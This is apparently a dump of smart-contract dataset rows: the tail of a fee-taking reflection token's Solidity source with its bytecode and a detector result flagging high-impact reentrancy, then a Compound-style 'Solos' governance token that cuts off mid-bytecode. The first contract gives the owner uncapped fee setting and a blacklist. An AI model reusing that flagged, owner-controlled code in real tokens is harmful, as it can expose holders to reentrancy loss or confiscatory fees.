uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b857600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610603565b005b34801561020a57600080fd5b5060408051808201909152600d81526c426162795368696e6120496e7560981b60208201525b60405161023d9190611a30565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a85565b6106a2565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b5069043c33c19375648000005b60405190815260200161023d565b3480156102e157600080fd5b506102666102f0366004611ab1565b6106b9565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023d565b34801561033357600080fd5b50601554610296906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611af2565b610722565b34801561037357600080fd5b506101fc610382366004611b1f565b61076d565b34801561039357600080fd5b506101fc6107b5565b3480156103a857600080fd5b506102c76103b7366004611af2565b610800565b3480156103c857600080fd5b506101fc610822565b3480156103dd57600080fd5b506101fc6103ec366004611b3a565b610896565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611af2565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610296565b34801561045e57600080fd5b506101fc61046d366004611b1f565b6108c5565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260078152664241425953484960c81b6020820152610230565b3480156104c457600080fd5b506101fc6104d3366004611b3a565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b53565b61093c565b34801561050457600080fd5b50610266610513366004611a85565b61097a565b34801561052457600080fd5b50610266610533366004611af2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b85565b6109db565b34801561058957600080fd5b506102c7610598366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b3a565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611af2565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c42565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611ca3565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c42565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c42565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c42565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c42565b60005b82811015610a76578160056000868685818110610a2757610a27611c77565b9050602002016020810190610a3c9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611ca3565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c42565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cbe565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ced565b816001815181106113d4576113d4611c77565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d0a565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a7657610a76600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611549876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173f565b6001600160a01b0389166000908152600260205260409020556115cc8161179e565b6115d684836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b600654600090819069043c33c193756480000061164b82826114c7565b8210156116695750506006549269043c33c193756480000092509050565b90939092509050565b600081836116935760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a4565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b60008061174c8385611cbe565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a86114a4565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114c7565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b3565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112e681611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112e682611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112e681611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206cd91e1dc3496f5893b2cf134f80c6e33bdc7443ee3c7dac168ebc72e6af3cc664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,365 |
0x8872332b988152D485028dDB68E7Da98962958cd
|
// contracts/NFT.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
contract Solos {
/// @notice EIP-20 token name for this token
string public constant name = "Solos Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SoloS";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 1000000000e18; // 1 Billion Solos
mapping(address => mapping(address => uint96)) internal allowances;
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 rawAmount
) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance =
sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator =
keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(
address src,
address dst,
uint96 amount
) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611384565b60405180910390f35b610157610152366004611216565b6102e8565b60405161013b919061130a565b61016c6103a5565b60405161013b9190611315565b61016c6103b5565b61015761018f3660046111db565b6103d9565b61019c61051c565b60405161013b91906115d6565b6101bc6101b736600461118f565b610521565b60405161013b91906112f6565b6101dc6101d736600461118f565b61053c565b005b6101f16101ec36600461118f565b610549565b60405161013b91906115a6565b61016c61020c36600461118f565b610561565b61022461021f366004611216565b610589565b60405161013b91906115e4565b61016c61023f36600461118f565b6107a0565b61012e6107b2565b61015761025a366004611216565b6107d3565b61022461026d36600461118f565b61080f565b6101dc61028036600461123f565b610880565b61016c6102933660046111a9565b610a89565b61016c610abb565b6102b36102ae36600461129d565b610adf565b60405161013b9291906115b7565b6040518060400160405280600b81526020016a29b7b637b9902a37b5b2b760a91b81525081565b6000806000198314156102fe5750600019610323565b6103208360405180606001604052806025815260200161164960259139610b14565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103919085906115e4565b60405180910390a360019150505b92915050565b6b033b2e3c9fd0803ce800000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261042f928892919061164990830139610b14565b9050866001600160a01b0316836001600160a01b03161415801561045c57506001600160601b0382811614155b1561050457600061048683836040518060600160405280603d8152602001611720603d9139610b43565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fa9085906115e4565b60405180910390a3505b61050f878783610b82565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105463382610d2d565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600160205260409020546001600160601b03165b919050565b60004382106105b35760405162461bcd60e51b81526004016105aa90611463565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105e157600091505061039f565b6001600160a01b038416600090815260036020908152604080832063ffffffff60001986018116855292529091205416831061065d576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039f565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561069857600091505061039f565b600060001982015b8163ffffffff168163ffffffff16111561075b57600282820363ffffffff160481036106ca611161565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107365760200151945061039f9350505050565b805163ffffffff1687111561074d57819350610754565b6001820392505b50506106a0565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806005815260200164536f6c6f5360d81b81525081565b6000806107